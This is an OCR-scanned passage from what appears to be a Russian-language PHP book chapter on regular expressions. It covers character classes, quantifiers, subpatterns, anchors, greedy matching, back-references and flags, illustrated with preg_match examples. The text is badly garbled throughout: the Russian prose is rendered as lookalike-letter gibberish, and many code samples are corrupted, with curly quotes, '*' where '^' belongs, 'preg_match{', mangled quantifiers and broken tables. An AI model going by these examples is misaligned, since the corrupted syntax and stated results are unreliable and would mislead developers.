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Touka B PEryjAaApHbIX BbIpDAXXEHUAX COOTBETCTBYET OAHOMY CUMBOJIY:

preg_match(“/ct/”, “cat”’);  // sosepawaertrue
preg_match(”/ct/”, “cut”);  // Bo3epawaer true
preg_match(“/ct/”, “ct”); // so3spauwgaer true
preg_match(”/c.t/”, “bat”); // sosepawaer false
preg_match(”/c.t/”, "ct”); // sosspauwaer false

Ecau BeI XoTHTE HAaliTH OJIMH U3 3TUX CII€HHAJIbHBIX CHUMBOJIOB (OHI/I Ha3bIBAIOTCA
MeTaCMMBOJIaMH), BaM HY>XHO UX 3KPAaHHPOBATb C ITOMOIIbIO O6paTHOFO cienia:

preg_match(”/\$5\.00", “BananHc sawero cyera $5.00 TouHo”); // true
preg_match(“/$5.00”, “Bananc sawero cyera $5.00 Touno”); // false

[To yMonuaHuI0 peryssipHble BbIpaXKeH!sl YyBCTBUTENbHbI K PETUCTPY, TO3TOMY
BbIpakeHUe “/cow/” He COOTBETCTBYeT cTpoke “COW”. Eciu BbI XOTHTE OCyllle-
CTBUTDb HE UYBCTBUTEJIbHBIA K PETUCTPY MOUCK, BaM HYXKHO YCTAHOBUTDb CHeELH-
anbHbIN diar (1o3xe B 3TOH IJIaBe Bbl y3HAeTe, KaK 3TO CEJaTh).

Bce ato He sBaseTCS 4EM-TO 0C06eHHbIM, HO HacCTosAlladA MOUIb PEryJAPHbIX Bbl-
PaXX€HUA 3aKJII0YaeTCA B UX BO3BMOXXHOCTH yKa3aTb a6CTpaKTHbIe H]a6JIOHbI, KO-
TOPBIM MOTYT COOTBETCTBOBATb MHOT'O PAa3HbIX rocJieIoBaTeIbHOCTENH CHMBOJIOB.

Bol MoXxeTe YKa3aTb TPU OCHOBHBIX THIIA a6CTpaKTHhIX 06p33u0B B peryJjiaipHomM
BbIPpAaXXE€HHUH:

e Habop mpuemsieMbIX CUMBOJIOB, KOTOPbIE MOTYT TMOSIBUThCS B CTPOKE (TO
ecTb aihaBUTHBIE CHMBOJIbI, YUCJIOBbIE CHMBOJIbI, CAMBOJIbI TyOJHKALMH).

e Habop ajipTepHaTHB 17151 CTPOKH (TO €CTb “com”, “edu”, “net” UK “org”)

e [loBTOpsIOIIAsACA MOCIEI0BATENBHOCT B CTPOKE (TO €CTh, MO KpalHen
Mepe, O/I1H, HO He 6oJibliIe YeM MATh MG POBBIX CHMBOJIOB).

ITH TpU TUMA WAGJOHOB MOTYT ObITH CKOMOMHHPOBaHbBI GECUNCIEHHBIMH CITO-
cobaMu B peryJsipHoM BoipaxkeHuu. Hanpumep, MoxxHO cchopMyIMpoBaTh pery-
JIIPHOE BbIPAXKeHHe [1J151 MOUCKa A0MyCTUMbIX HoMepoB Tesedona u URL.

4.8.2. Knaccbl CUMBONOB

YT006b1 YyKa3aTb Ha6op AOIMYCTHUMbIX CUMBOJIOB B BalleM ].lIa6JIOHe, Bbl MOXXETE
HJIH CO31aTh coOCTBEHHbBIH KJ1acC CUMBOJIOB UJIU MCIIOJIb30BaTh O/IUH U3 Mmpeao-
nmpeaeJIeHHbIX KJIaCCOB. HOCTpOI/lTb Balll COOCTBEHHbIN KJIACC CHMBOJIOB MOXHO,
3aKJ/IIOYHB J0MMYCTHUMbIE CUMBOJIbBI B KBa/IpaTHbIE CKO6KH, HaIllpUMED:

preg_match(”/c[aeiou]t/”, “I cut my hand”); // so3spauwgaer true
preg_match(”/c[aeiou]t/”, “This crusty cat”); // Bosspauwgaer true
preg_match(”/c[aeiou]t/”, “What carte”); // eoaspawaer false
preg_match{”/c[aeiou]t/”, “14ct gold”); // soaspauwgaer false
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“_”n

MexaHusm PETYJAPDHOrO BbIpAXEHUSA HAXOAUT CUMBOJI ¢, 3aTEM IIPOBEPAET

CJIeyIOUIMIA CUMBOJI, KOTOPBIM MOXET ObITh OAHUM U3 “a”, “e”, “i", “o” uam “v”.
Ecnu cnexyounii CMMBOJ He IPUHA/ITIEXUT YKa3aHHOMY KJIAcCy CUMBOJIOB, Me-
XaHU3M PETYJISIPHOTO BbIPAXKEHHUsI IPUCTYIAET K MOUCKY CJIeAYIOIEr0 CUMBOJIA

“_”

¢”. Ecaiu xxe cuMBoJI ocJie “c” MpUHAAIEKUT 33 JaHHOMY KJIacCy CUMBOJIOB, Mée-
XaHU3M [IPOBEPSIET, SIBJSIETCS JIU CIIeyIOUIMM CUMBOJIOM cuMBoOJ “t”. Eciu ato
Tak, peryJisipHoe BblpakeHHe Bo3Bpawlaer “trve”. B mpotuBHOM ciydae (eciu

CJIEYIOIMI CUMBOJI He “t”), MEXaHU3M MILET CJAEAYIOUINI CUMBOJ “c”.

“aY

BbI MOX€ET€ NHBEPTUPOBATD KJIAaCC CUMBOJIOB C ITIOMOIbIO CUMBOJIa B HayaJie:
preg_match(”/c[*aeiou]t/”, “I cut my hand”); // Bosepawaer false
preg_match(”/c[*aeiou]t/”, “Reboot chthon”); // so3spawgaer true
preg_match(”/c[*aeioult/”, “14ct gold”); // sosepawaer false

B aToM caryyae MexaHU3M peryJisipHOro BbIpaXkKeHHe UIeT CUMBOJI “c”, OCJIe KO-

“n

TOPOro CJIEAYET HE rJIaCHBIN CHUMBOJI, ITOCJIE KOTOPOTrO CJIeAYEeT CUMBOJ t .

Bbl MoxeTe ompenenuTh AManasoHbl CUMBOJIOB € MoMolubio aeduca (-). ITo
YIPOLLAET OMUCAHKE KJIACCOB CUMBOJIOB BU/A “Bce OYKBbI” WK “Bce yucia™:

preg_match(”/[0-9]%/", “Xon npouecca: 25% 3asepweHo”); // true
preg_match(”/[0123456789]%/", “Xon npouecca: 25% 3aeepwero”); // true

preg_match(”/[a-z]t/”, “11th"); // false
preg_match(”/[a-z]t/", “cat”); // true
preg_match("/[a-z]t/", “PIT"); // false
preg_match(”/[a-zA-Z]!/", "1 11"); // false
preg_match(”/[a-zA-Z]\/", “stop!”); // true

Korza BBl ompenessiere Kjacc CUMBOJIOB, HEKOTOPbIE CIEIMATbHbIE CUMBO-
JIbl TEPSIIOT CBOE 3HAUYEHHUE, B TO BPEMS KaK pyrve NPUHUMAIOT HOBbIE 3Haue-
HUs. B yacTHOCTH, CUMBOJI $ U TOUKa TEPSIIOT CBOE 3HAUYEHHUE B KJIACCE CUMBOJIOB.
CHUMBoOJI ~ MHBEPTUPYET KJIACC CUMBOJIOB, €CJIM " - MEPBbIil CUMBOJI MOCJIE OT-
KpbITOii ckoOku. Hanpumep, [*\]] cooTBeTcTByeT J106OMY CUMBOJIY HE3aKpbl-
TOM KBaJpaTHON ckoOkU. Beipaxkenue [$.%] cooTBeTcTBYET MI06OMY 3HAKY 10JI-
Jlapa, TOYKe UM KapeTke (7).

Pasnuunble 6MOIMOTEKH DErYJSIPHBIX BBIPAXKEHHI ONPEAENSIOT Da3iuyHble
KJIACChI CHMBOJIOB, B TOM YHcJIe IIU(PbI, CHMBOJIBI ajihaBUTa, TPOOEIIBI U T.11.

4.8.3. AnbTepHaTuBbl

Bel MoxeTe UCOIb30BaTh BEPTHUKATBHYIO YEPTY | U YKA3aHUS aJIbTEPHATUB
B PEryJISPHOM BbIPaXKEHHUU:

preg_match(”/kxowka|cobaka/”, “mos kowka nexut y moux Hor”); // true
preg_match(”/kowka | cobaka/“, “mos cobaka nexut y moux Hor”); // true
preg_match(”/kowka | cobaka/“, “moit kponuk nexut y momnx Hor”); // false
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[IpyopuTeT anbTepHATHBbI MOXET YAMBHUTH: “/“kowka|cobaka$” BbhIOMpaeT U3
“Aowka” U “cobaka$”, 03HAYast, YTO CTPOKA JOJKHA JMOO HAYMHATHCS CJIOBOM
“xowka” MO0 3aKaHYMBATHCS CJIOBOM “cobaka”. Ec/iM Bbl XOTHTE MPOCTO HAUTH
CTPOKY “kowka” WJIN “cobaka’, BaM HY>KHO HCII0JIb30BaTh PETYJISIPHOE BbIpaXke-
HuUe “/"(kowka|cobaka)$/".

Bbl MoxeTe KOMOMHMPOBaTh KJIACChl CUMBOJIOB W ajIkTEPHATHBBI, HAIIPAMED,
clenyiollee peryJjasipHOe BblpaXKeHHE COOTBETCTBYET CTPOKE, COCTOsIIIEH U3 Jia-
TUHCKHUX CHMBOJIOB [a-z)], He HAYMHAETCs ¢ 3arJaBHON OYKBbI, HO MOXKET HaYM-
HaTbCs ¢ HUPPBI:

preg_match(”/*([a-z]|[0-9])/“, “The quick brown fox"); // false
preg_match(”/*([a-z]|[0-9])/*, “jumped over”); // true
preg_match(”/"([a-z]|[0-9])/”, “10 lazy dogs”); // true

4.8.4. Noesropsiowmecs nocneaoBaTeNnbHOCTH

Yr1o6bl ONpeaeuTh MOBTOPSIOIMIICS 11abI0H, BAM HYXHO UCIOJIb30BATh K6aH-
muguxamop. KBantudukatop ykassiBaeTcs nocse mabsona (o6pasia) u ropo-
PHUT, CKOJIbKO Pa3 OH J0JIKeH MOBTOPSAThCS. B Tabsuie 4.6 npuBeaeHbl KBAHTH-
(bukaTopsbl, pacno3HamII1ecs peryasipHbIMU BoipakeHussMu PHP.

Tabnuua 4.6. KeaHTuduxaTopbl perynsapHbiX BbIpaxeHuid

KsanTudukarop Yro o3Havaer
? Onvm 1
. Yt e e
+ 1 nnu 6onbLue
{n} To4yHO n pa3
{n,m} Kak MMHMMyM n pa3, Ho He 6onee m pa3
{n,} MuHumMyMm n pas

ﬂﬂﬂ IMMOBTOpPA OAHOIo CUMBOJIA MTPOCTO ITOMECTHUTE KBaHTH(bI/lKaTOp rnocJje 3T1T0-
0 CUMBOJIA:

preg_match(”/xo+1/", “koooot”); // true

preg_match(”/ko+t/", “k1"); // false
preg_match(”/ko21/”, “koooot”); // false
preg_match(”/ko*t/”, “x1"); // true

Wcnonb3yst kBaHTU(HHUKATOPBI M KJI1aCChl CUMBOJIOB, BbI MOXKETE C/I€1aTh OYEHb
MHOTO€, HallpuMep, NPOBEPUTb, SIBJISETCS] BBeJEHHBIN TesedOHHBIH HOMEp 10-
nyctumbiM B CHIA:

preg_match(”/[0-9]{3}-[0-9]{3}-[0-9]{4} /“, “303-555-1212"); // true
preg_match(”/[0-9]{3}-[0-9]1{3}-[0-9]{4} /", "64-9-555-1234"); // false
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4.8.5. NoawabnoHbl

Bbl MoXeTe UCNoJIb30BaTh KPYTJible CKOOKH 7Sl PYNIIUPOBKH OUTOB peryJsip-
HOTO BbIpakeHus1 BMecTe. B peaynbTate comepxumoe ckobok 6yaer o6paboTaHO
KaK OJJMH MOJ1yJib, Ha3BaHHBIN NOAIIAGIOHOM:

" n

preg_match(“ /310 (oueHs )+6onbwas cobaka/”, “310 oueHs oueHb 6onblwas cobaka”);//true
preg_match(”/"(kowka|cobaka)$/", “xowka"); // true

" u

preg_match(”/"(xowka|cobaka)$/*, “cobaka”); // true

Ecnu Bbl mepenanuTe MaccMB B KayeCTBe TPeTbero napamerpa (QyHKIHUH
preg_match(), 3TOT MaccuB OyaeT 3amoJiHeH JIIOObIMU TOJyYEHHBIMH MOJCTPO-
KaMH: .

preg_match(“/([0-9]+) /", “Y Bac 42 sonwebHex 606a”, $captured);
// so3spauwgaer true u 3anonnHset $captured

HyneBoii aneMeHT 3TOro MaccuBa - BCSI CTPOKA, COOTBETCTBYIOIIAsl BbIPAXKEHUIO.
ITepBblit 31eMEHT - MOACTPOKA, COOTBETCTBYOIIAsA IEPBOMY MOAIIA6I0HY (eCan
€CTh), BTOPOIi 3JIEMEHT - MOACTPOKA, COOTBETCTBYOIasi BTOPOMY MOAIIA0JI0HY
U T.1.

4.8.6. Pasgenurenu

Peryasipubie Boipaxkenust B ctuisie Perl amyupytor cunrakcuc Perl mis pery-
JISIPHBIX BBIPAXKEHUH, B KOTOPOM KaXKIblid 1I1a0JIOH JOJDKEH ObITh 3aKJI0YeH
B mapy pasaenuteseid. OObIYHO B KauecTBe pas/esauTesieil KCIOJb3yeTCs CJell
(/), nanpumep, /wabaon/. OaHaKO, B KAU€CTBE PA3/ENUTENsi MOXKET MCIOJIb30-
BaTbCs J11060M HeandaBUTHBIN CUMBOJI, YTO OYEHbD M0JIE3HO, KOT/Ia BbI HIIETE CO-
BIIaJIeHU, COZleprKalilee CIellld, HanpuMep, uMeHa daiioB. B kauectBe mpumepa
CcJIeyIolMe 1Ba ONepaTopa aHaJIOTMYHBI:

preg_match(”/\/usr\/local\//", “/usr/local/bin/perl”);  // true
preg_match(“#/usr/local/#", “/usr/local/bin/perl”); // true

Takxe B KayecTBe pas/esuTesieil Bbl MOXKeTe MCIOJb30BaTh Kpyribie (()), dpu-
rypubie({}), kBagpaThbie ([]) 1 yrjaoBbie (<>) CKOOKH:

preg_match(“{/usr/local/}", “/ust/local /bin/perl”); // true

Hasnee 6yayT paccCMOTPEHbI OJIHO-CUMBOJIbHbIE MOAU(DUKATOPDI, KOTOPbIE BbI MO-
XKeTe MOMECTUTH T0CJIe 3aKPbIBAIOIIETOCS pa3aeauTesi, YTOObl MOAU(PUIIUPO-
BaTh NOBE/IEHUE MEXaHU3MA PETYJISIPHOTO Bbipaxkenus. OueHb noJie3eH Moaudu-
KaTop x, KOTOPBI 3aCTaBJIsSIET MEXAaHU3M PEryJISIPHBIX BbIPAXKEHUH yAAJIATH MPO-
Gesbl 1 oMeyeHHble CUMBOJIOM # KOMMEHTADUH M3 PEryJISIPHOTO BbIPAXKEHHUS.
Caenyromue aBa mab10Ha OMMHAKOBBI, HO OJIMH U3 HUX FOPa3/Io POIIle YUTaTh:

/([l:alpha:]l#)\s+\ 1/
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1]

# Havano saxsara
[[:alpha:]]+ # cnoso

\s+ # npoben

N # 10 xe camoe cnoso cHosa
) # 3aeepeHrue 3axeara

/¥

4.8.7. NoBepeHne COOTBETCTBUA

Touka (.) cooTBeTCcTBYeT JI0OOMY CUMBOJIY, KpOMe HOBOIi cTpoku (\n). 3HaK
noJinapa ($) COOTBETCTBYET KOHILY CTPOKH:

preg_match(”/s (.*)$/", “kniou 8 moux wranax”, $captured);
// $captured[1] = ‘s moux wranax’

4.8.8. Knaccbl cumBOnoB

B Perl-coBMeCTUMBIX PEryISIPHBIX BbIPAXKEHUSIX OTPEAETEHbl MMEHOBaHHbIE Ha-
GOpbl CHMBOJIOB, KOTOPbIE Bbl MOXKETE MCIIOJIb30BaTh B KJIACCAX CUMBOJIOB (CM.
1abu. 4.7). O6bsicHeHus B Tabsiuie 4.7 NPUBOASITCS /1151 aHTJIMICKOTO SI3bIKA.

Kaxapiii knace [:4mo-mo:] MOXeT UCIOJIb30BAThCSI BMECTO CMMBOJIA B KJlacce
cuMBoJioB. Hampumep, uToObl HalTH 11060 CUMBOJI, KOTODBIiA sIBJIsIETCS HU(-
poii, 6YKBOIi B BEDXHEM PETMCTPE WM 3HAKOM @, UCII0JIb3YHTE CIIEAYIOLIEE PEry-
JISIPHOE BbIPA)KEHUE:

[@[:digit:](:upper:]]

OnHako Bbl HE MOJKETE MCIIOJIb30BaTh KJIaCC CUMBOJIOB B KAYECTBE KOHEYHOM
rpaHUIbI AHAIlIa30Ha:

preg_match(”/[A-[:lower:]]/", “string”); // ownbouHoe perynapHoe sbipaxeHue

HekoTopsle 0Kanu paccMaTpuBalOT OINpe/esIeHHbIE TOCIeJ0BATETbHOCTHA CHM-
BOJIOB, KaK OyaTO Obl OHU SIBJISIIOTCSI OMHUM CUMBOJIOM. UTOObI COOTBETCTBOBATh
OJTHOM U3 3TUX MYJBTUCUMBOJIbHBIX OCJIEI0BATEIBHOCTEN B KJIAaCCE CUMBOJIOB,
3aKJlouMTe ee B CKOOKH [. 1 .|. Hanpumep, eciiu y Baliei JIOKagu ecTb Nocaen0-
BaTEeJIbHOCTb COOTBETCTBUS ch U Bbl XOTUTE UCMOJIb30BATh €r0 BMECTE C CUMBO-
JIAMH s U 1, UCTIOJIb3YHTE CJIeLYIOlee PEryJIsipHOE BbIPaXKEHHE:

[st{.ch.]]

3aKJI0UNUTEIbHOE pacilMpeHHe KJIACCOB CUMBOJIOB - KJIacC 3KBHBAJEHTHOCTH,
orpezieJieHHbIN CUMBOJIaMU [= 1 =|. Kitacc akBHBasIeHTHOCTH, O3HAYAET, YTO MO-
CJIe0BaTeIbHOCTH CHMBOJIOB BCEX 3JIEMEHTOB CPaBHEHUSs!, BKJIIOUEHHbBIX B [JaH-
HBIM KJIacC, 3KBUBAJIEHTHBI MeX 1y co6oit. Kiacc aKBMBaJIEeHTHOCTH 3aBUCHT OT
Jsokanu. HanprMep, 10Kaib MOXeT ONPeAeTUTh, YTO y CUMBOJIOB g, & M & OMHA-
KOBBIM TPUOPUTET COPTUPOBKHU. UTOOBI COOTBETCTBOBATD JIIOOOMY U3 HUX, HYX-
HO MCII0JIb30BaTh KJIACC 3KBUBAJEHTHOCTH [=a=].



________ Fnasa 4. Crpoku

Tabnuua 4.7. Knaccbi CHMBONOB

Knacc Onucaxue Pacwupenue
[:alnum:] : AncdaBuTHbLIE CUMBOSIbI U LNDPBI [0-9a-zA-Z]
[:alpha:] | AndasuTHbIe CUMBONLI (TONLKO BYKBbI) [a-zA-2]

[:ascii:] 7-paspaaHbie ASCII-cumBonsl [\x01-\x7F]

. : fopu3oHTanbHbIi Npo6enbHbii CUMBOAN (NPO-

(EDlatls | 6en, Tabynsaums) [\

[:cntrl:] | Ynpasnswowwme cumsonsl [\x01 -\x1F]

[:digit:] | Lindps [0-9]

; . CumBOnbI, AN NEYaTH KOTOPLIX UCNONL3YIOTCH | .
[:graph:] YepHuna (He ynpasnsiiowme, He NpobenbHbie) ["\x01-%x20]
[:lower:] | BykBbl B HUXHEM perucTpe [a-2]

. Meyataemble cuMBOMLI (knacc graph natoc

[Bgeint] npo6ensl u Tabynaums) (\t\20-\xFF]
[:punct:] MyHKTYaunoHHbLIE CUMBONBI, Hanpumep, Touka | [-V"#$%&'()*+,./:;<=>7@[\

¥ ABOETOuME W3~

Mpo6enbHbie CUMBONLI (HOBas CTpoOKa, BO3-
[:space:] | spat kapeTku, Tabynsums, npoben, septukans- | [\n\r\t \x0B]

Has Tabynsaums)
[:upper:] | Byksbl B BEpXHEM perucrpe [A-2]
[:xdigit:] | WecTtHaauaTepuuHas umdpa [0-9a-fA-F)
\s Mpo6enbHble CUMBONbI [\r\n \t]
\S HenpobenbHblie CMMBONBI [*\r\n \t]
CumMBonbl, gonycTumble B uaeHtudwukaTope _QA-7A.
\w (CnoBo) [0-9A-Za-z ]
CumBonbl, He AONYCTUMbIE B uaeHTUdUKATOPE | . QA 7A.
w (He cnoeo) [*0-9A-za-z ]
\d u.uq>pa [0-9]
\D He u.mbpa [*0-9]

4.8.9. fxops

SAxopsk onpenensier no3uuuio mwaboHa B cTpoke Tekcra. B tabiuue 4.8 npuserne-
HbI SIKODSI, OZIIePXKUBAIOLINECS] PEryIsIPHBIMU BbIPaXKEeHHSIMU.
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Tabnuua 4.8. Axops

fAkopb CooTtBeTtcTeyer
. Havano ctpoku
$ KoHeL, cTpoku
[[:<:] Hayano cnosa
[:>:]] KoHeu cnosa
\b paHuua cnosa (Mexay \w 1 \W unu B Ha4ane unu KoHue CTPOoKH)
\B paHuua He cnoBea (Mexay \W v \w unu \W n \W)
\A Hayano cTpoku
\2Z KoHew cTpoku unu nepen, \n B KOHLUE
\z KoHew cTpoku
. Havano nuHuun (v;nm nocne \n, ecnu ¢nar /m BKJIIOYEH)
$ KoHeu nuHuu (unu nepea, \n, ecnu d&nar /m BKJ’IIO‘{eHm)-

['paHu1a cJ10Ba ONpe/essieTcs: Kak TOYKa MeX/y MpoOebHbIM CHMBOJIOB U CUM-
BOJIOM uaeHTU(HUKaTopa (an¢daBUTHO-IMPPOBHIM MU OTYEPKUBAHHE):

preg_match("/[[:<:]lgun[[:>:]]/", “the Burgundy exploded”); // false

preg_match(”/gun/”, “the Burgundy exploded”); // true

O6paTI/ITE BHHMaHHE, YTO Ha4aJIO U KOHELl CTPOKHU TAKX€ PACHEHHUBAIOTCA KaK
rpaHUIBI CJIOBA.

4.8.10. KsaHTndmkaTopbl M XagHOCTb

KBaHTH(UKATOPHI PEryIsipHbIX BbIpaXKeHHUit 00bIYHO dHcadHbte. To eCTb KBAHTH-
(puKaTop nbITAETCS MOKPHITh BCE, YTO MOXHO - /10 KOHIIa cTpoku. Hanpumep:

preg_match(”/(<.*>)/", “He <b>HyxHo</b> naxumars kHonky”, $match);

// $m0lch[]] = I<b>HYXH°</b>'

PerynsipHoe BpIpaXkeHHe NOKPbIBAET BCe, HAYMHAS C CHMBOJIA < JI0 CUMBOJIA >,
B neiictBuTENIBHOCTH, * COOTBETCTBYET BCEMY NOCJIE IEPBOTO 3HAKa < U IBUIKOK
CTapaeTcsi 3aXBaTUTh BCe, TOKA He Oy/IeT JOCTUTHYT 3HaK >.

JKannoctp Moxer ObiTh mpobseMoii. VIHoraa BaM HY)XHO MMHUMasbHOe (He-
XKajIHOe) coBMajieHne. BriepBbie MoHsTHE HEXAHBIX (n0N-greedy) NN JIEHUBBIX
kBaHTH(HKaTOpOB nosiBusoch B Perl. iMenno Perl npenocrasisier napasniesnb-
HbIH HAOOP KBaHTU(UKATOPOB, KOTOPBIE IOKPHIBAIOT MUHUMAJIbHBIN HAOODP CUM-
BOJIOB. VX JIETrKo 3a1IOMHUTb, NIOCKOJIbKY OHU Ha3bIBAIOTCSI TAK XK€, KAK U XKa/THbIE
KBaHTHUM(KATOPbI, HO K HUM J00aBJISIETCSI BONPOCUTEIbHBIN 3HaK (2). Tabuiua
4.9 moxa3bpIBaeT COOTBETCTBYIOLIME IPYT APYTY JKAJHbIE U HEXATHbIe KBAHTU(U-
KaToPbl, MOJI/IEP)KUBAIONIMECS PETYJISPHBIMU BbipakeHusimu Perl.
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Tabnuua 4.9. XagHbie u HexagHbie KBaHTUGUKATOPLI

XapHbi kBaHTUPUKaATOP

HexapaHbli kBaHTUUKaTOP

?

242

*

*9

+ +2
{m} {m}?
{m.} {m,}?

{m,n} {m,n}?

PaccMoTpuM, Kak MCIOJIb30BaTh HEXKAAHBIA KBAHTU(UKATOP:

preg_match(”/(<.*2>)/", "He <b>HyxHo</b> naxumaTs kuonky”, $match);

// $match[1] = “<b>"

Jpyroii, 6osiee ObICTPBIA MyTh 3aKJIIOYAETCS B UCMOJIb30BAHUHU KJlacca CUMBO-
JIOB, KOTOPBIif COOTBETCTBYET KAXK/IOMY CUMBOJY < -0 CUMBOJIA >:

preg_match(”/(<[*>]*>)/", “"He <b>Hyxno</b> HaxumaTs kHonky”, $match);

// $match[1] = ‘<b>’

4.8.11. Hedukcupyembie rpynnbl

Ecau BbI 3aK1t04aete yactb mabjaoHa B CKOOKH, TO TEKCT, KOTOPbIii COOTBETCTBY-
€T 3TOMY MoA1a6JI0HY, 3aXBaThIBAETCS M JOCTYIIEH /JIs1 1aJIbHEHRILIErO HCITOJIb30-
BaHusi. UHorIa BaM 3axoueTcs co3aath nmoAmab ioH 6e3 3axBaTa COOTBETCTBYIO-
utero tekcra. B Perl-coBMecTMOM perysiapHOM BbIpaJieHUH Bbl MOXKETE 3TO C/le-
JIaTh C IOMOIbIO KOHCTPYKUUHU ( ?2: nodwabaon):

preg_match(”/(2:ello)(.*)/*, “jello biafra”, $match);
// $match[1] = “ biafro”

4.8.12. O6parHbie CCbinku

BbI MoXeTe cchlIaThCs Ha paHee 3aXBayeHHbII TEKCT C TOMOILbIO 06paTHbIX CChbI-
J0K: \1 cchlIaeTcs Ha COAEPXKHUMOE IMEPBOIo HOLIIII3.6JIOH3., \2 cchlyIaeT Ha coaep-
JKUMOE BTOPOIro noznna6n0Ha u T.1. Eciiu BbI BKJ1aIbIBaeTe HOZIIIIa6JIOHbI, \1 Ha-
YHUHAETCA C NEPBbIMU OTKPBITBIMH CKO6K8.MI/I, \2 - co BTOPbIMH U T.A.

HaanMep, cjaeayouiee BbIpaXXeHHE HaXOAUT IMTOBTOPSAIOLHECA CJI0Ba:

preg_match(”/([[:alpha:)]+)\s+\ 1/, “Paris in the the spring”, $m);
// sosspawaer true u $m[1] = “the”

Dyukuus preg_match() XpaHuT nepsble 99 MoAWIaGJOHOB, OCTajbHBIE (T1OC]IE
99-ro) UTHOPUPYIOTCS.
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4.8.13. ®narn

PerynspHblie BbipakeHus B ctuie Perl no3Bosisiior Bam ykasaTh OHOCHMBOJIb-
Hble onuuu (daaru) nocue mwabaoHa peryaspHOro BhIpaskeHus, 4ToOb MOaUU-
LIMPOBATh MHTEPIPETALIMIO UJTH NTOBeIeH e COOTBETCTBUS. Hampumep, 4To6bI cO-
OTBETCTBHE ObLJIO HE UyBCTBUTENbHBIM K PETUCTPY CMMBOJIOB, IPOCTO HUCIIOJb-
3yiite ¢aar i:

preg_match(”/kat/i”, "“Ocranosucs, Katepunal”); // sosepawaert true

B tabnuue 4.10 mokasansl Moaudukatopsl Perl, kotopbie nmomaepkuBaroTcs
Perl-coBMecTHMBIMU peryisipHbIMU BbipaxkeHusiMd B PHP.

Ta6nuua 4.10. ®naru Perl

3HauyeHue

/per_sblpaxenue/i | CoBnaageHus ByayT He YyBCTBUTENbHBIMU K PEMUCTPY CUMBOMOB

Touka (.) 6yneT cooTBeTCcTBOBaTH NI0O6OMY CUMBOAY, BKKOYAS HO-
BYIO CTPOKY (\n)
/per_sbipaxeHune/x | YaanseT npobenbl u KOMMeEHTapum 13 wabnoxa

Mo ymonuyaHuio perynapHele BolpaxeHus obpabaTbiBaioT AaHHbIE
Kak ogHy CTpoky. MeTacumBon Havana CTpPoku "' coOTBeTCTBYyEeT
TONbKO Hayany obpabaTbiBaeMOro TeKCTa, B TO BPEMs kak MeTa-
/per_bipaxeHne/m | cUMBON “koHel, CTPOKK” '$’ COOTBETCTBYET KOHLY TEKCTa, MO0 no-
3vumK Nepeq 3aBepLualolLMM TEKCT NePeBoaoM CTPoku. Mcnosb-
30BaHWe 3TOro MoamdukaTopa no3sonseT obpabaTbiBaTtb AaHHbLIE
KakK MHOMOCTPOYHbIA TEKCT.

/per_sbipaxeHune/s

Ecnu cTpoka 3ameHsbl sensetcs PHP-koaoM, 6yaeT BeiaBana eval ()
/per_sbipaxeHue/e | Ans 3anycka 3Toro koaa, 4tobbl NONy4nTb GakTUHECKYIO CTPOKY 3a-
MeHbI (Pe3ynbTaT BbINOAHEHUSA 3TOr0 KOAA)

Perynsapubie Boipaxkenuss PHP Ttakke nognepkuBaioT Apyrue Moau(pUKaTOPHI,
KOTOpbIE He MOAAEPKUBAIOTCS SI3bIKOM Perl. 3T MoauduKaTopbl MpUBeaEeHbI
B Tabuue 4.11.

Tabnuua 4.11. lononuutenshsie PHP-dnaru

MoaudukaTtop 3HaueHue

O6palwaeT xagHocTb noawabnoHa; * n + Tenepb 6yayr 3axsaTbl-
BaTb TENEPb “Kak MOXHO MEHbLUE"”, BMECTO “Kak MOXHO 6onbLue”

/per_suipaxenune/u | Ctpoku 6yayT obpabaTteiBatbcsa kak UTF-8

Jlio6om 06paTHbI cnaw B wabnoHe, 3a KOTOPLIM CeayeT CUMBOSI,
He I/IMelOU.lVIIZ cneunanbHOro 3Ha4yeHus, NpuBoaUT K owwnbke.

/per_sbipaxeHnue/A | MNpuBA3Kka k Ha4any TekcTa, kak 6yaTo nepsbii cumeon wabnoHa 6bin
/per_sbipaxeHnue/D | Cumeon $ 6ynet COOTBETCTBOBATbL TONBKO KOHLLY CTPOKU

""""""""""""""""""""""""""""" Napcep BbipaxeHus AomxeH 60nee O0CTOPOXHO aHanM3anpoBaTb
/per_sblpaxeHue/S | CTPykTypy wabnoHa, NO3TOMY NpuU CReaylowemM 3anycke (Hanpu-
Mep, B umkne) oH 6yneTt 6onee 6bICTPLIM

/per_ssipaxeHne/U

/per_sbipaxeHune/X
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Bb1 MoXeTe UCIoIb30BaTh B 0HOM obpasiie 6oJee oHOro diara, yTo u npoje-
MOHCTPUPOBAHO B CJIEYIOIIEM IPUMEDE:

$message = <<< END

To: you@youcorp

From: me@mecorp
Subject: Tema coobuieHus
TexcT coobwenus

END;

preg_match(”/"subject: (.*)/im", $message, $match);

print_r($match);
BriBoa:

Tema coobuweHus

4.8.14. BcTpoeHHbie onuuu

B nonosHeHue K yKa3aHUIO ONLUM, A€UCTBUE KOTOPBIX PAcIpPOCTPaHSIETCsl Ha
Bech 111a6J10H (OHHM YKa3bIBAIOTCS MOCJIE 3aKPHIBAOIIETOCS Pas/ieuTes iabo-
Ha), Bbl MOXETe yKa3aTh MapaMeTpbl BHYTPU caMOro aboHa, KoTopbie 6yayT
TNIPUMEHSTBCS TOJIBKO K OINpefiesieHHOl YacTu nrabiaona. CHHTaKCcUC Clielyro-
1110858

(2¢pnarm:nogwabnon)

Hanpumep, B 1aHHOM npuMepe He UyBCTBUTEJIbHBIM K PETMCTPY CUMBOJIOB
JOJI>KHO OBITb TOJIbKO c0Bo PHP:

preg_match(’ /9 nobnio (2i:PHP)/’, ‘9 niobnio pHp'); // Bosspawaer true

BHyTpI/I 11ab10Ha Bbl aHAJIOTUYHBIM 06])330M MOJXKEeTe UCII0JIb30BaTh OMUUH i, m,
s, U, x 1 X. Bl MoxxeTe YKa3aTb HECKOJIbKO OIIIMU 32 OIUH pas:

preg_match('/eat (2ix:foo d)/*, 'eat FOOD'); // true
BrIkIounTh ONIIMIO MOKHO C TOMOIIbIO Aeduca (-):
preg_match('/(2-i:9 nio6nio) PHP/i', ' niobnio pHp'); // true

AnbrepHaTuBHasA (opMa BKIIOYEHUSA U OTK/IIOYeHHs (J1aroB 10 KOHIA MOJIIa-
6J10Ha WU MabIoHa:

preg_match(’/9 nobnio (2i)PHP/*, ‘A niobnio pHp'); // true
preg_match(’/9 (no6nio (2i)PHP) cunsro/’, ‘A niobnio pHp cunsro’, $match);
// $match[1] = 'niobnio pHp'
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4.8.15. Onepexaiowme u peTpoCnNeKTUBHbIE YTBEPXAEHUS

